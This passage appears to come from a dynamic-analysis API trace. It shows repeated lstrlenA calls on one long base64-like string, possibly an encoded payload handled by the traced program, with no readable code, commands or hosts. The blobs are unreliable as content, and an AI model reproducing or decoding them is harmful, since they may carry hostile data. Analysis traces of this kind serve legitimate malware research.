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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA 